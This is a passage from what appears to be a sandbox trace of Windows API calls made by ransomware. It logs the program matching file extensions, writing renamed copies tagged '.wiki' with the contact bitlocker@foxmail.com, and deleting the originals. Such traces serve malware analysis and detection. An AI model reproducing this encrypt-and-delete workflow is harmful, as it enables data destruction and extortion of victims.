Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.569] lstrlenW (lpString=".doc") returned 4 [0196.569] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.569] lstrlenW (lpString=".docx") returned 5 [0196.569] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0196.570] lstrlenW (lpString=".pdf") returned 4 [0196.570] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.570] lstrlenW (lpString=".xls") returned 4 [0196.570] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.570] lstrlenW (lpString=".xlsx") returned 5 [0196.570] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0196.570] lstrlenW (lpString=".ppt") returned 4 [0196.570] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.570] lstrlenW (lpString=".zip") returned 4 [0196.570] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.570] lstrlenW (lpString=".rar") returned 4 [0196.570] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.570] lstrlenW (lpString=".bz2") returned 4 [0196.570] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.570] lstrlenW (lpString=".7z") returned 3 [0196.570] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.570] lstrlenW (lpString=".dbf") returned 4 [0196.570] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.570] lstrlenW (lpString=".1cd") returned 4 [0196.570] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0196.570] lstrlenW (lpString=".jpg") returned 4 [0196.570] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.774] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.774] lstrlenW (lpString="J0151045.WMF") returned 12 [0196.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.774] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=15464) returned 1 [0196.774] CloseHandle (hObject=0x1cc) returned 1 [0196.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 0x20 [0196.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.774] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.774] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.775] GetLastError () returned 0x0 [0196.775] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3c68, lpOverlapped=0x0) returned 1 [0196.777] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3c70, lpOverlapped=0x0) returned 1 [0196.778] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.778] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.778] SetEndOfFile (hFile=0x1f0) returned 1 [0196.778] CloseHandle (hObject=0x1f0) returned 1 [0196.778] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.778] SetEndOfFile (hFile=0x1cc) returned 1 [0196.779] CloseHandle (hObject=0x1cc) returned 1 [0196.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0196.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.780] lstrlenW (lpString=".doc") returned 4 [0196.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.780] lstrlenW (lpString=".docx") returned 5 [0196.780] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0196.780] lstrlenW (lpString=".pdf") returned 4 [0196.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.780] lstrlenW (lpString=".xls") returned 4 [0196.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.780] lstrlenW (lpString=".xlsx") returned 5 [0196.780] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0196.780] lstrlenW (lpString=".ppt") returned 4 [0196.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.780] lstrlenW (lpString=".zip") returned 4 [0196.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.780] lstrlenW (lpString=".rar") returned 4 [0196.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.780] lstrlenW (lpString=".bz2") returned 4 [0196.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.780] lstrlenW (lpString=".7z") returned 3 [0196.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.780] lstrlenW (lpString=".dbf") returned 4 [0196.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.780] lstrlenW (lpString=".1cd") returned 4 [0196.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.781] lstrlenW (lpString=".jpg") returned 4 [0196.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.781] lstrlenW (lpString=".doc") returned 4 [0196.781] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.781] lstrlenW (lpString=".docx") returned 5 [0196.781] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0196.781] lstrlenW (lpString=".pdf") returned 4 [0196.781] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.781] lstrlenW (lpString=".xls") returned 4 [0196.781] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.781] lstrlenW (lpString=".xlsx") returned 5 [0196.781] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0196.781] lstrlenW (lpString=".ppt") returned 4 [0196.781] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.781] lstrlenW (lpString=".zip") returned 4 [0196.781] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.781] lstrlenW (lpString=".rar") returned 4 [0196.781] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.781] lstrlenW (lpString=".bz2") returned 4 [0196.781] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.781] lstrlenW (lpString=".7z") returned 3 [0196.781] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.781] lstrlenW (lpString=".dbf") returned 4 [0196.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.782] lstrlenW (lpString=".1cd") returned 4 [0196.782] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0196.782] lstrlenW (lpString=".jpg") returned 4 [0196.782] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.782] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.782] lstrlenW (lpString="J0151047.WMF") returned 12 [0196.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.782] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=18500) returned 1 [0196.782] CloseHandle (hObject=0x1cc) returned 1 [0196.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 0x20 [0196.783] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.783] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.783] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.783] GetLastError () returned 0x0 [0196.783] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4844, lpOverlapped=0x0) returned 1 [0196.785] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4850, lpOverlapped=0x0) returned 1 [0196.786] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.786] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.786] SetEndOfFile (hFile=0x1f0) returned 1 [0196.787] CloseHandle (hObject=0x1f0) returned 1 [0196.787] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.787] SetEndOfFile (hFile=0x1cc) returned 1 [0196.787] CloseHandle (hObject=0x1cc) returned 1 [0196.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0196.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.788] lstrlenW (lpString=".doc") returned 4 [0196.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.788] lstrlenW (lpString=".docx") returned 5 [0196.788] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0196.788] lstrlenW (lpString=".pdf") returned 4 [0196.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.788] lstrlenW (lpString=".xls") returned 4 [0196.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.788] lstrlenW (lpString=".xlsx") returned 5 [0196.788] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0196.788] lstrlenW (lpString=".ppt") returned 4 [0196.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.789] lstrlenW (lpString=".zip") returned 4 [0196.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.789] lstrlenW (lpString=".rar") returned 4 [0196.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.789] lstrlenW (lpString=".bz2") returned 4 [0196.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.789] lstrlenW (lpString=".7z") returned 3 [0196.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.789] lstrlenW (lpString=".dbf") returned 4 [0196.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.789] lstrlenW (lpString=".1cd") returned 4 [0196.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.789] lstrlenW (lpString=".jpg") returned 4 [0196.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.789] lstrlenW (lpString=".doc") returned 4 [0196.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.789] lstrlenW (lpString=".docx") returned 5 [0196.789] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0196.789] lstrlenW (lpString=".pdf") returned 4 [0196.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.789] lstrlenW (lpString=".xls") returned 4 [0196.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.789] lstrlenW (lpString=".xlsx") returned 5 [0196.789] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0196.789] lstrlenW (lpString=".ppt") returned 4 [0196.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.790] lstrlenW (lpString=".zip") returned 4 [0196.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.790] lstrlenW (lpString=".rar") returned 4 [0196.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.790] lstrlenW (lpString=".bz2") returned 4 [0196.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.790] lstrlenW (lpString=".7z") returned 3 [0196.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.790] lstrlenW (lpString=".dbf") returned 4 [0196.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.790] lstrlenW (lpString=".1cd") returned 4 [0196.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0196.790] lstrlenW (lpString=".jpg") returned 4 [0196.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.790] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0196.790] lstrlenW (lpString="J0151055.WMF") returned 12 [0196.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.791] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=14632) returned 1 [0196.791] CloseHandle (hObject=0x1cc) returned 1 [0196.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 0x20 [0196.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0196.791] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.791] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0196.792] GetLastError () returned 0x0 [0196.792] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x3928, lpOverlapped=0x0) returned 1 [0196.794] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x3930, lpOverlapped=0x0) returned 1 [0196.795] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.795] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.795] SetEndOfFile (hFile=0x1f0) returned 1 [0196.795] CloseHandle (hObject=0x1f0) returned 1 [0196.795] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.795] SetEndOfFile (hFile=0x1cc) returned 1 [0196.796] CloseHandle (hObject=0x1cc) returned 1 [0196.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.796] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0196.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.796] lstrlenW (lpString=".doc") returned 4 [0196.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.796] lstrlenW (lpString=".docx") returned 5 [0196.796] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0196.796] lstrlenW (lpString=".pdf") returned 4 [0196.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.796] lstrlenW (lpString=".xls") returned 4 [0196.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.797] lstrlenW (lpString=".xlsx") returned 5 [0196.797] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0196.797] lstrlenW (lpString=".ppt") returned 4 [0196.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.797] lstrlenW (lpString=".zip") returned 4 [0196.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.797] lstrlenW (lpString=".rar") returned 4 [0196.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.797] lstrlenW (lpString=".bz2") returned 4 [0196.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.797] lstrlenW (lpString=".7z") returned 3 [0196.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.797] lstrlenW (lpString=".dbf") returned 4 [0196.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.797] lstrlenW (lpString=".1cd") returned 4 [0196.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.797] lstrlenW (lpString=".jpg") returned 4 [0196.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0196.797] lstrlenW (lpString=".doc") returned 4 [0196.797] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.797] lstrlenW (lpString=".docx") returned 5 [0196.797] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0196.797] lstrlenW (lpString=".pdf") returned 4 [0196.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.798] lstrlenW (lpString=".xls") returned 4 [0196.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.798] lstrlenW (lpString=".xlsx") returned 5 [0196.798] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0196.798] lstrlenW (lpString=".ppt") returned 4 [0196.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.798] lstrlenW 